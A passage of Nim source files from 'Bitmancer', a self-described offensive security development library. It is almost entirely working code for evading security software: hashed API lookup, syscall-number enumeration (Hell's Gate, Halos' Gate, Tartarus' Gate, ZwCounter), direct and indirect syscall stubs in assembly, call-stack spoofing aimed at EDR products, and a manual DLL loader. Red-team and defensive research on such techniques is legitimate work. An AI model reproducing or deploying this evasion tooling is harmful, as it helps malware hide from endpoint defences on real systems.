MappingInfoIndex = ? getMappingInfoIndexTree() 130 | rtlRbRemoveNode(MappingInfoIndex, addr imageEntry.MappingInfoIndexNode) 131 | 132 | -------------------------------------------------------------------------------- /src/Bitmancer/core/procedures.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | enumeration/enumeration, 22 | obfuscation/hash, 23 | apiset, ntloader, str, utils 24 | 25 | export 26 | str 27 | 28 | ## Procedures 29 | ##------------------------------------------------------------------------ 30 | proc getProcAddress*(imageBase: ModuleHandle, ident: SomeProcIdent): NtResult[PVOID] 31 | 32 | ## Private 33 | ##------------------------------------ 34 | func getDotSeperatorIndex(forwarder: cstring): int {.inline.} = 35 | result = 0 36 | while forwarder[result] != '\0': 37 | if forwarder[result] == '.': 38 | return 39 | inc result 40 | 41 | proc allocateInternal(): NtResult[PVOID] = 42 | ## To avoid circular dependency, must use an internal heap alloc here 43 | const 44 | RtlAllocateHeapHash = ctDjb2 "RtlAllocateHeap" 45 | let 46 | Ntdll = ? NTDLL_BASE() 47 | f = ? getProcAddress(Ntdll, RtlAllocateHeapHash) 48 | pRtlAllocateHeap = cast[RtlAllocateHeap](f) 49 | pAllocMemory = pRtlAllocateHeap(rtlProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH) 50 | if not pAllocMemory.isNil(): 51 | ok pAllocMemory 52 | else: 53 | err InsufficientMemory 54 | 55 | proc freeInternal(mem: PVOID): NtResult[void] {.discardable.} = 56 | const 57 | RtlFreeHeapHash = ctDjb2 "RtlFreeHeap" 58 | let 59 | Ntdll = ? NTDLL_BASE() 60 | f = ? getProcAddress(Ntdll, RtlFreeHeapHash) 61 | pRtlFreeHeap = cast[RtlFreeHeap](f) 62 | if pRtlFreeHeap(rtlProcessHeap(), 0, mem) == 1: 63 | ok() 64 | else: 65 | err ProcedureFailure 66 | 67 | proc getForwardImageBaseApiSet(currentBase: ModuleHandle, forwarder: cstring): NtResult[ModuleHandle] = 68 | ## Get Parent Name 69 | let 70 | ldrEntry = ? getLdrEntry(currentBase, LoadOrder) 71 | parentName = addr ldrEntry.BaseDllName 72 | ## Initialize ApiSet Unicode String 73 | var apiSet = UNICODE_STRING() 74 | apiSet.Length = 0 75 | apiSet.MaximumLength = MAX_PATH 76 | apiSet.Buffer = cast[PWSTR](? allocateInternal()) 77 | apiSet.add forwarder 78 | ## Resolve ApiSet 79 | ? resolveApiSet(apiSet, parentName) 80 | result = getModuleHandle(apiSet.Buffer, LoadOrder) 81 | freeInternal(apiSet.Buffer) 82 | 83 | proc getForwardImageBase(forwarder: cstring, sepIndex: int): NtResult[ModuleHandle] = 84 | var 85 | fArray: array[MAX_PATH, char] 86 | forwardString = cast[cstring](addr fArray[0]) 87 | for i in 0 ..< sepIndex: 88 | forwardString[i] = LOWER_CASE(forwarder[i]) 89 | forwardString.addDLLExtensionA() 90 | getModuleHandle(forwardString, LoadOrder) 91 | 92 | proc resolveForwardedFunction(currentBase: ModuleHandle, forwarder: cstring, ident: SomeProcIdent): NtResult[PVOID] = 93 | let 94 | seperator = getDotSeperatorIndex forwarder 95 | forwardIdent = cast[cstring](unsafeAddr forwarder[seperator + 1]) 96 | imageBase = 97 | if isApiSetLib(forwarder): 98 | ? getForwardImageBaseApiSet(currentBase, forwarder) 99 | else: 100 | ? getForwardImageBase(forwarder, seperator) 101 | getProcAddress(imageBase, forwardIdent) 102 | 103 | func findProcAddressEAT(imageBase: ModuleHandle, ident: SomeProcIdent): NtResult[PVOID] = 104 | let exports = ? getExportDirectory(imageBase) 105 | for symName, ord, pFunc in imageBase.exports exports: 106 | if IDENT_MATCH(symName, ord, ident): 107 | return ok pFunc 108 | err ProcedureNotFound 109 | 110 | func findProcAddressIAT(imageBase: ModuleHandle, ident: SomeThunkedIdent): NtResult[PVOID] = 111 | let importTable = ? getImportDirectory(imageBase) 112 | for imprt in importTable.imports(): 113 | for (pOriginalThunk, pFirstThunk) in imageBase.thunks imprt: 114 | let 115 | hint = cast[PIMAGE_IMPORT_BY_NAME](imageBase +% pOriginalThunk.u1.AddressOfData) 116 | symName = cast[cstring](addr hint.Name[0]) 117 | if IDENT_MATCH(symName, ident): 118 | return ok cast[PVOID](pFirstThunk.u1.Function) 119 | err ProcedureNotFound 120 | 121 | ## GetProcAddress 122 | ##------------------------------------ 123 | proc getProcAddress*(imageBase: ModuleHandle, ident: SomeProcIdent): NtResult[PVOID] = 124 | let 125 | pFunction = ? findProcAddressEAT(imageBase, ident) 126 | textSection = ? getTextSection imageBase 127 | if pFunction < SECTION_START(imageBase, textSection) or pFunction > SECTION_END(imageBase, textSection): 128 | resolveForwardedFunction(imageBase, cast[cstring](pFunction), ident) 129 | else: 130 | ok pFunction 131 | 132 | proc getProcAddressEx*(imageBase: ModuleHandle, importBase: ModuleHandle, ident: SomeThunkedIdent): NtResult[PVOID] = 133 | let 134 | pFunction = ? findProcAddressIAT(importBase, ident) 135 | textSection = ? getTextSection imageBase 136 | if pFunction < SECTION_START(imageBase, textSection) or pFunction > SECTION_END(imageBase, textSection): 137 | resolveForwardedFunction(imageBase, cast[cstring](pFunction), ident) 138 | else: 139 | ok pFunction 140 | 141 | proc getNestedProcAddress*(imageBase: ModuleHandle, ident: SomeProcIdent, callIndex: int): NtResult[PVOID] = 142 | let 143 | fStart = ? getProcAddress(imageBase, ident) 144 | fEnd = ? searchFunctionEnd(imageBase, fStart) 145 | pCall = ? searchCall(fStart, fEnd, callIndex) 146 | rel32 = cast[PDWORD](pCall +! 1)[] + 0x5 147 | ok pCall +! rel32 148 | 149 | -------------------------------------------------------------------------------- /src/Bitmancer/syscalls/zwcounter.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | base 22 | 23 | export 24 | base 25 | 26 | ## ZwCounter Compile Time Options 27 | ##------------------------------------------------------------------------ 28 | type 29 | ZwCounterMethod* {.pure.} = enum 30 | UseExceptionTable, 31 | UseHighestAddress 32 | 33 | ## ZwCounter Compile Time Settings 34 | ##------------------------------------------------------------------------ 35 | const 36 | ZwCountingMethod* {.intDefine.} = ZwCounterMethod.UseHighestAddress 37 | 38 | ## ZwCounter SSN Enumeration 39 | ## 40 | ## Enumerate SSNs by utilizing the fact the syscall stubs will be ascendingly ordered in memory. 41 | ## The RTF table just so happens to order these syscall stubs in that order. By looping through both 42 | ## the RTF table and the EAT, we can save ourselves from allocating additional memory to resolve SSNs 43 | ## for NT* APIs. Alternatively, we can find the highest address syscall stub coupled with the syscall's 44 | ## address to count the SSN. 45 | ##------------------------------------------------------------------------------------------------------------- 46 | proc zwCounterEatExc*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult = 47 | var ssn = WORD(0) 48 | let 49 | rtfTable = ? getExceptionDirectory imageBase 50 | exports = ? getExportDirectory imageBase 51 | for rtFunction in rtfTable.runtimeFunctions(): 52 | for symName, ord, pFunc in imageBase.exports exports: 53 | if imageBase +% rtFunction.BeginAddress == pFunc: 54 | if IDENT_MATCH(symName, ord, ident): 55 | return ok Syscall( 56 | wSyscall: ssn, 57 | pSyscall: ? getSyscallInstruction pFunc 58 | ) 59 | if symName[0] == 'Z' and symName[1] == 'w': 60 | inc ssn 61 | err SyscallNotFound 62 | 63 | proc zwCounterEatHighest*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult = 64 | var 65 | ssn = WORD(0) 66 | pHighestAddr = UINT_PTR(UINT_PTR.high) 67 | pTargetAddr = UINT_PTR(0) 68 | let exports = ? getExportDirectory(imageBase) 69 | 70 | for symName, ord, pFunc in imageBase.exports exports: 71 | ## Highest address will be lowest value 72 | if symName[0] == 'Z' and symName[1] == 'w': 73 | if pHighestAddr > cast[UINT_PTR](pFunc): 74 | pHighestAddr = cast[UINT_PTR](pFunc) 75 | if IDENT_MATCH(symName, ord, ident): 76 | pTargetAddr = cast[UINT_PTR](pFunc) 77 | 78 | ## Loop through the Zw/Nt call stubs until we hit our target 79 | for pStub in pHighestAddr.ntStubs(): 80 | if pStub == pTargetAddr: 81 | return ok Syscall( 82 | wSyscall: ssn, 83 | pSyscall: ? getSyscallInstruction(cast[PVOID](pTargetAddr)) 84 | ) 85 | inc ssn 86 | err SyscallNotFound 87 | 88 | proc zwCounterEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult {.inline.} = 89 | when ZwCountingMethod == ZwCounterMethod.UseExceptionTable: 90 | zwCounterEatExc(imageBase, ident) 91 | elif ZwCountingMethod == ZwCounterMethod.UseHighestAddress: 92 | zwCounterEatHighest(imageBase, ident) 93 | 94 | proc zwCounterIat*(importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult = 95 | 96 | when ZwCountingMethod == ZwCounterMethod.UseExceptionTable: 97 | static: {.fatal: "Cannot use exception table counting method for IAT-based symbol resolution.".} 98 | 99 | elif ZwCountingMethod == ZwCounterMethod.UseHighestAddress: 100 | var 101 | ssn = WORD(0) 102 | pHighestAddr = UINT_PTR(UINT_PTR.high) 103 | pTargetAddr = UINT_PTR(0) 104 | let importTable = ? getImportDirectory(importBase) 105 | 106 | for imprt in importTable.imports(): 107 | 108 | let dllName = cast[cstring](importBase +% imprt.Name) 109 | 110 | if dllName[0] == 'n' and dllName[1] == 't' and dllName[2] == 'd' and 111 | dllName[3] == 'l' and dllName[4] == 'l': 112 | 113 | for (pOriginalThunk, pFirstThunk) in importBase.thunks imprt: 114 | let 115 | hint = cast[PIMAGE_IMPORT_BY_NAME](importBase +% pOriginalThunk.u1.AddressOfData) 116 | symName = cast[cstring](addr hint.Name[0]) 117 | if symName[0] == 'Z' and symName[1] == 'w': 118 | if pHighestAddr > pFirstThunk.u1.Function: 119 | pHighestAddr = pFirstThunk.u1.Function 120 | if IDENT_MATCH(symName, ident): 121 | pTargetAddr = pFirstThunk.u1.Function 122 | 123 | ## Because imports won't have all of the symbols in its import table, we must take extra steps to ensure 124 | ## we're at the highest syscall stub. 125 | if not pHighestAddr.isHighestAddress(): 126 | pHighestAddr = searchNtStubUp pHighestAddr 127 | 128 | ## Loop through the NT* call stubs until we hit our target 129 | for pStub in pHighestAddr.ntStubs(): 130 | if pStub == pTargetAddr: 131 | return ok Syscall( 132 | wSyscall: ssn, 133 | pSyscall: ? getSyscallInstruction pTargetAddr 134 | ) 135 | inc ssn 136 | err SyscallNotFound 137 | 138 | template zwCounter*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult = 139 | when symEnum == UseEAT: zwCounterEat(imageBase, ident) 140 | elif symEnum == UseIAT: zwCounterIat(imageBase, importBase, ident) 141 | 142 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrmapsnap.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | ## Loader Snapping Routines 22 | ##------------------------------------------------------------------------ 23 | proc ldrLoadDependencyInternal(ctx: PLoadContext, flags: ULONG, dll: PWSTR): NtResult[ModuleHandle] = 24 | let ForwardCtx = ? eLoadLibrary(flags, dll, NULL, 0) 25 | insertTailList(ctx.dependencies, ForwardCtx.dependencies) 26 | ##TODO: set ParentDLLBase 27 | ok ForwardCtx.entry.DLLBase.ModuleHandle 28 | 29 | proc ldrLoadDependency(ctx: PLoadContext, f: cstring): NtResult[ModuleHandle] = 30 | var 31 | forwarderFlags = DWORD(0) 32 | importedDLL = ? ldrPrepareForwardString() 33 | SET_LOAD_LOCAL forwarderFlags 34 | 35 | if isApiSetLib(f): 36 | ## We check if the resolved api set module is already loaded. If it is, 37 | ## return it's modulehandle. otherwise, we load it 38 | let 39 | resolvedLib = ? ldrResolveApiSet(f) 40 | resolvedEntry = GET_LDR_LIST(resolvedLib.Buffer, LoadOrder) 41 | if resolvedEntry.isOk(): 42 | PROCESS_HEAP_FREE(cast[PVOID](resolvedLib.Buffer)) 43 | PROCESS_HEAP_FREE(cast[PVOID](importedDLL.Buffer)) 44 | return ok resolvedEntry.get().DLLBase.ModuleHandle 45 | else: 46 | importedDLL.add resolvedLib 47 | 48 | discard PROCESS_HEAP_FREE(cast[PVOID](resolvedLib.Buffer)) 49 | 50 | else: 51 | importedDLL.add f 52 | 53 | ldrLoadDependencyInternal(ctx, forwarderFlags, importedDLL.Buffer) 54 | 55 | proc ldrResolveImport(ctx: PLoadContext, Import: PIMAGE_IMPORT_DESCRIPTOR): NtResult[void] = 56 | var 57 | ImportedFunction = PVOID(NULL) 58 | ImportByName = PIMAGE_IMPORT_BY_NAME(NULL) 59 | let 60 | imageBase = ctx.entry.DLLBase.ModuleHandle 61 | ImportName = cast[cstring](imageBase +% Import.Name) 62 | ImportBase = 63 | if MODULE_LOADED(ImportName, MemoryOrder): 64 | ? getModuleHandle(ImportName, MemoryOrder) 65 | else: 66 | ? ldrLoadDependency(ctx, ImportName) 67 | 68 | for (OriginalThunk, FirstThunk) in imageBase.thunks(Import): 69 | ImportedFunction = 70 | if IMAGE_SNAP_BY_ORDINAL OriginalThunk.u1.Ordinal: 71 | ? getProcAddress(ImportBase, cast[WORD](OriginalThunk.u1.Ordinal)) 72 | else: 73 | ImportByName = cast[PIMAGE_IMPORT_BY_NAME](imageBase +% OriginalThunk.u1.AddressOfData) 74 | ? getProcAddress(ImportBase, cast[cstring](addr ImportByName.Name[0])) 75 | FirstThunk.u1.Function = cast[ULONGLONG](ImportedFunction) 76 | ok() 77 | 78 | proc ldrResolveDelayedImport(ctx: PLoadContext, DelayedImport: PIMAGE_DELAYLOAD_DESCRIPTOR): NtResult[void] = 79 | var 80 | ImportedFunction = PVOID(NULL) 81 | ImportByName = PIMAGE_IMPORT_BY_NAME(NULL) 82 | let 83 | imageBase = ctx.entry.DLLBase.ModuleHandle 84 | ImportName = cast[cstring](imageBase +% DelayedImport.DllNameRVA) 85 | ImportBase = 86 | if MODULE_LOADED(ImportName, MemoryOrder): 87 | ? getModuleHandle(ImportName, MemoryOrder) 88 | else: 89 | ? ldrLoadDependency(ctx, ImportName) 90 | 91 | for (OriginalThunk, FirstThunk) in imageBase.thunks(DelayedImport): 92 | ImportedFunction = 93 | if IMAGE_SNAP_BY_ORDINAL OriginalThunk.u1.Ordinal: 94 | ? getProcAddress(ImportBase, cast[WORD](OriginalThunk.u1.Ordinal)) 95 | else: 96 | ImportByName = cast[PIMAGE_IMPORT_BY_NAME](imageBase +% OriginalThunk.u1.AddressOfData) 97 | ? getProcAddress(ImportBase, cast[cstring](addr ImportByName.Name[0])) 98 | FirstThunk.u1.Function = cast[ULONGLONG](ImportedFunction) 99 | ok() 100 | 101 | proc ldrResolveImports*(ctx: PLoadContext): NtResult[void] = 102 | 103 | let imageBase = ctx.entry.DLLBase.ModuleHandle 104 | 105 | ## Imports 106 | let importDirHeader = getImportDirectoryHeader(imageBase) 107 | if importDirHeader.isErr(): 108 | if importDirHeader.error() notin {DirectoryEmpty, DirectoryNotFound}: 109 | return err importDirHeader.error() 110 | else: 111 | ## Change protections of IAT to RW, these will be protected later in LdrSetProtections 112 | let 113 | Imports = IMPORT_DIRECTORY(imageBase, importDirHeader.get()) 114 | RelocationSection = ? getRelocationSection(imageBase) 115 | var 116 | iatBase = imageBase +% RelocationSection.VirtualAddress 117 | iatSize = SIZE_T(RelocationSection.Misc.VirtualSize) 118 | oldProt = ULONG(PAGE_READWRITE) 119 | 120 | if ntProtectVirtualMemory( 121 | iatBase, 122 | iatSize, 123 | oldProt, 124 | addr oldProt 125 | ).isErr(): 126 | return err SyscallFailure 127 | 128 | for Import in Imports.imports(): 129 | ? ldrResolveImport(ctx, Import) 130 | 131 | ## Delayed Imports 132 | let DelayedImportDirectoryHeader = getDelayedImportDirectoryHeader(imageBase) 133 | if DelayedImportDirectoryHeader.isErr(): 134 | if DelayedImportDirectoryHeader.error() notin {DirectoryEmpty, DirectoryNotFound}: 135 | return err DelayedImportDirectoryHeader.error() 136 | else: 137 | let DelayedImportDirectory = DELAY_IMPORT_DIRECTORY(imageBase, DelayedImportDirectoryHeader.get()) 138 | for DelayedImport in DelayedImportDirectory.dImports(): 139 | ? ldrResolveDelayedImport(ctx, DelayedImport) 140 | ok() 141 | 142 | ## Loader Map it and Snap it (like it's hot) 143 | ##------------------------------------------------------------------------ 144 | proc ldrSnapModule*(ctx: PLoadContext): NtResult[void] {.inline.} = 145 | ## Snaps the DLL's imports 146 | ldrResolveImports ctx 147 | 148 | proc ldrMapAndSnap*(ctx: PLoadContext): NtResult[void] = 149 | ## Map the DLL into memory 150 | ? ldrMapModule ctx 151 | ## Snaps the DLL's imports 152 | ? ldrSnapModule ctx 153 | ## Flush the cpu 154 | ntFlushInstructionCache(rtlCurrentProcess(), NULL, 0) 155 | 156 | -------------------------------------------------------------------------------- /src/Bitmancer/syscalls/base.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | std/macros, 22 | ../core/enumeration/memory/syscalls, 23 | ../rtl 24 | 25 | export 26 | rtl, syscalls 27 | 28 | const 29 | StubOffsetUp* = 32 30 | StubOffsetDown* = -32 31 | 32 | type 33 | NtSyscall*[T] {.byCopy.} = object 34 | syscall*: Syscall 35 | pFunction*: T 36 | 37 | ## Compile Time Options 38 | ##------------------------------------------------------------------------ 39 | type 40 | SsnEnumeration* {.pure.} = enum 41 | HalosGate ## Halos' Gate SSN retrieval 42 | HellsGate ## Hell's Gate SSN retrieval 43 | LdrThunks ## Utilize Ldr's Thunk Signatures to load a fresh NTDLL from disk and resolve needed SSNs. 44 | TartarusGate ## Tartarus' Gate SSN retrieval 45 | ZwCounter ## Utilize Nt/Zw* stub memory address ordering 46 | 47 | SymbolEnumeration* {.pure.} = enum 48 | UseEAT, ## Use the NTDLL's Export Address Table to resolve SSNs and syscall instruction addresses. 49 | UseIAT, ## Use the Kernel32's Import Address Table to resolve SSNs and syscall instruction addresses. 50 | 51 | SyscallExecution* {.pure.} = enum 52 | Direct, ## Execute system call directly. 53 | Indirect, ## Execute system call indirectly with the stub's syscall instruction. 54 | 55 | ## Compile Time Settings 56 | ##------------------------------------------------------------------------ 57 | const 58 | ## SpoofCallStack 59 | ## Spoof the call stack to evade stack introspection from EDRs when an Instrumented Callback 60 | ## is registered. 61 | ##-------------------------------------- 62 | SpoofCallStack* {.boolDefine.} = true 63 | 64 | ## Helpers 65 | ##------------------------------------ 66 | template checkValidOSVersionTarget*(ssnEnum: SsnEnumeration) = 67 | static: 68 | when OsVer < OS_10_Threadhold1 and ssnEnum == SsnEnumeration.LdrThunks: 69 | {.fatal: """UseLdrThunks uses the LdrpThunkSignatures to load a fresh copy of NTDLL to parse. These 70 | signatures are only available on versions of Windows 10 and later.""".} 71 | 72 | ## Nt Syscall Stubs 73 | ##------------------------------------ 74 | func directStub*() {.asmNoStackFrame, inline.} = 75 | when defined(cpu64): 76 | asm """ 77 | mov r10, rcx 78 | mov eax, r14d 79 | syscall 80 | """ 81 | else: 82 | static: {.fatal: "Support for x86 not implemented yet".} 83 | 84 | func spoofStub*() {.asmNoStackFrame, inline.} = 85 | when defined(cpu64): 86 | asm """ 87 | mov r10, rcx 88 | mov eax, r14d 89 | jmp r15 90 | """ 91 | else: 92 | static: {.fatal: "Support for x86 not implemented yet".} 93 | 94 | template PRE_CALL*() = 95 | when defined(cpu64): 96 | {.emit: [ 97 | """asm volatile( 98 | "mov r14w, %c[wSyscall] %0\n\t" 99 | "mov r15, %c[pSyscall] %0\n\t" 100 | : 101 | :"m"(ntSyscall), 102 | [wSyscall] "i" (offsetof(""", Syscall, """, wSyscall)), 103 | [pSyscall] "i" (offsetof(""", Syscall, """, pSyscall)) 104 | : "r14", "r15" 105 | ); 106 | """ 107 | ].} 108 | 109 | else: 110 | static: {.fatal: "x86 Not yet implemented".} 111 | 112 | ## Nt Syscall Generation 113 | ##------------------------------------ 114 | proc newProc(name = newEmptyNode(); 115 | genericParams: NimNode = newEmptyNode(); 116 | params: openArray[NimNode] = [newEmptyNode()]; 117 | body: NimNode = newStmtList(); 118 | procType = nnkProcDef; 119 | pragmas: NimNode = newEmptyNode()): NimNode = 120 | if procType notin RoutineNodes: 121 | error("Expected one of " & $RoutineNodes & ", got " & $procType) 122 | pragmas.expectKind({nnkEmpty, nnkPragma}) 123 | result = newNimNode(procType).add( 124 | name, 125 | newEmptyNode(), 126 | genericParams, 127 | newNimNode(nnkFormalParams).add(params), 128 | pragmas, 129 | newEmptyNode(), 130 | body) 131 | 132 | proc newProcArgs(typedef: NimNode): seq[NimNode] {.compileTime.} = 133 | expectKind(typeDef, nnkTypeDef) 134 | result = newSeq[NimNode]() 135 | for fParam in typeDef[2][0]: 136 | if fParam.kind == nnkSym: 137 | result.add ident($fParam) 138 | else: 139 | let paramName = ident($fParam[0]) 140 | let paramType = 141 | if fParam[1].kind == nnkVarTy: 142 | newNimNode(nnkVarTy).add(ident($fParam[1][0])) 143 | else: 144 | ident($fParam[1]) 145 | result.add newIdentDefs(paramName, paramType) 146 | 147 | let bracketExpr = newNimNode(nnkBracketExpr) 148 | bracketExpr.add ident"NtSyscall" 149 | bracketExpr.add ident"T" 150 | 151 | let ntSyscall = newIdentDefs(ident"ntSyscall", bracketExpr) 152 | result.add ntSyscall 153 | 154 | proc newProcPragma(typeDef: NimNode): NimNode {.compileTime.} = 155 | expectKind(typeDef, nnkTypeDef) 156 | result = newNimNode(nnkPragma) 157 | for pragma in typeDef[2][1]: 158 | result.add ident($pragma) 159 | 160 | proc newProcBody(args: seq[NimNode]): NimNode {.compileTime.} = 161 | result = newStmtList() 162 | let 163 | resultIdent = ident"result" 164 | bodyCall = newNimNode(nnkCall) 165 | dotExpr = newNimNode(nnkDotExpr) 166 | ntSyscall = ident"ntSyscall" 167 | dotExpr.add ntSyscall 168 | dotExpr.add ident"pFunction" 169 | 170 | bodyCall.add dotExpr 171 | for i in 1 ..< args.len() - 1: 172 | bodyCall.add args[i][0] 173 | 174 | result = quote do: 175 | PRE_CALL() 176 | `resultIdent` = `bodyCall` 177 | 178 | macro genSyscall*(T: typedesc) = 179 | let 180 | typeDef = getImpl(T) 181 | procArgs = newProcArgs(typeDef) 182 | genericParams = newNimNode(nnkGenericParams) 183 | 184 | genericParams.add newIdentDefs(ident"T", newEmptyNode()) 185 | 186 | result = newStmtList() 187 | result.add newProc( 188 | name = ident($typedef[0] & "Wrapper"), 189 | genericParams = genericParams, 190 | params = procArgs, 191 | body = newProcBody(procArgs), 192 | pragmas = newProcPragma(typeDef) 193 | ) 194 | when defined(nimDumpSyscalls): 195 | echo repr result 196 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types/shared.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | base 22 | export 23 | base 24 | 25 | ## KSYSTEM_TIME 26 | ##----------------------------------------------- 27 | type 28 | KSYSTEM_TIME* {.pure.} = object 29 | LowPart*: ULONG 30 | High1Time*: LONG 31 | High2Time*: LONG 32 | 33 | ## KUSER_SHARED_DATA 34 | ##----------------------------------------------- 35 | type 36 | ALTERNATIVE_ARCHITECTURE_TYPE* {.pure.} = enum 37 | StandardDesign, 38 | NEC98x86, 39 | EndAlternatives 40 | 41 | KUSER_SHARED_DATA_UNION_1_STRUCT* {.pure.} = object 42 | NXSupportPolicy* {.bitsize: 2.}: UCHAR 43 | SEHValidationPolicy* {.bitsize: 2.}: UCHAR 44 | CurDirDevicesSkippedForDlls* {.bitsize: 2.}: UCHAR 45 | Reserved* {.bitsize: 2.}: UCHAR 46 | 47 | KUSER_SHARED_DATA_UNION_1* {.pure, union.} = object 48 | MitigationPolicies*: UCHAR 49 | Struct1*: KUSER_SHARED_DATA_UNION_1_STRUCT 50 | 51 | KUSER_SHARED_DATA_UNION_2_STRUCT* {.pure.} = object 52 | DbgErrorPortPresent* {.bitsize: 1.}: ULONG 53 | DbgElevationEnabled* {.bitsize: 1.}: ULONG 54 | DbgVirtEnabled* {.bitsize: 1.}: ULONG 55 | DbgInstallerDetectEnabled* {.bitsize: 1.}: ULONG 56 | DbgLkgEnabled* {.bitsize: 1.}: ULONG 57 | DbgDynProcessorEnabled* {.bitsize: 1.}: ULONG 58 | DbgConsoleBrokerEnabled* {.bitsize: 1.}: ULONG 59 | DbgSecureBootEnabled* {.bitsize: 1.}: ULONG 60 | DbgMultiSessionSku* {.bitsize: 1.}: ULONG 61 | DbgMultiUsersInSessionSku* {.bitsize: 1.}: ULONG 62 | DbgStateSeparationEnabled* {.bitsize: 1.}: ULONG 63 | SpareBits* {.bitsize: 21.}: ULONG 64 | 65 | KUSER_SHARED_DATA_UNION_2* {.pure, union.} = object 66 | SharedDataFlags*: ULONG 67 | Struct1*: KUSER_SHARED_DATA_UNION_2_STRUCT 68 | 69 | KUSER_SHARED_DATA_TICK_COUNT* {.pure, union.} = object 70 | TickCount*: KSYSTEM_TIME 71 | TickCountQuad*: ULONGLONG 72 | ReservedTickCountOverlay*: array[3, ULONG] 73 | 74 | KUSER_SHARED_DATA* {.pure.} = object 75 | TickCountLowDeprecated*: ULONG 76 | TickCountMultiplier*: ULONG 77 | InterruptTime*: KSYSTEM_TIME 78 | SystemTime*: KSYSTEM_TIME 79 | TimeZoneBias*: KSYSTEM_TIME 80 | ImageNumberLow*: USHORT 81 | ImageNumberHigh*: USHORT 82 | NtSystemRoot*: array[260, WCHAR] 83 | MaxStackTraceDepth*: ULONG 84 | CryptoExponent*: ULONG 85 | TimeZoneId*: ULONG 86 | LargePageMinimum*: ULONG 87 | AitSamplingValue*: ULONG 88 | AppCompatFlag*: ULONG 89 | RNGSeedVersion*: ULONGLONG 90 | GlobalValidationRunlevel*: ULONG 91 | TimeZoneBiasStamp*: ULONG 92 | NtBuildNumber*: ULONG 93 | NtProductType*: NT_PRODUCT_TYPE 94 | ProductTypeIsValid*: UCHAR 95 | Reserved0*: UCHAR 96 | NativeProcessorArchitecture*: USHORT 97 | NtMajorVersion*: ULONG 98 | NtMinorVersion*: ULONG 99 | ProcessorFeatures*: array[64, UCHAR] 100 | Reserved1*: ULONG 101 | Reserved3*: ULONG 102 | TimeSlip*: ULONG 103 | AlternativeArchitecture*: ALTERNATIVE_ARCHITECTURE_TYPE 104 | BootId*: ULONG 105 | SystemExpirationDate*: LARGE_INTEGER 106 | SuiteMask*: ULONG 107 | KdDebuggerEnabled*: UCHAR 108 | 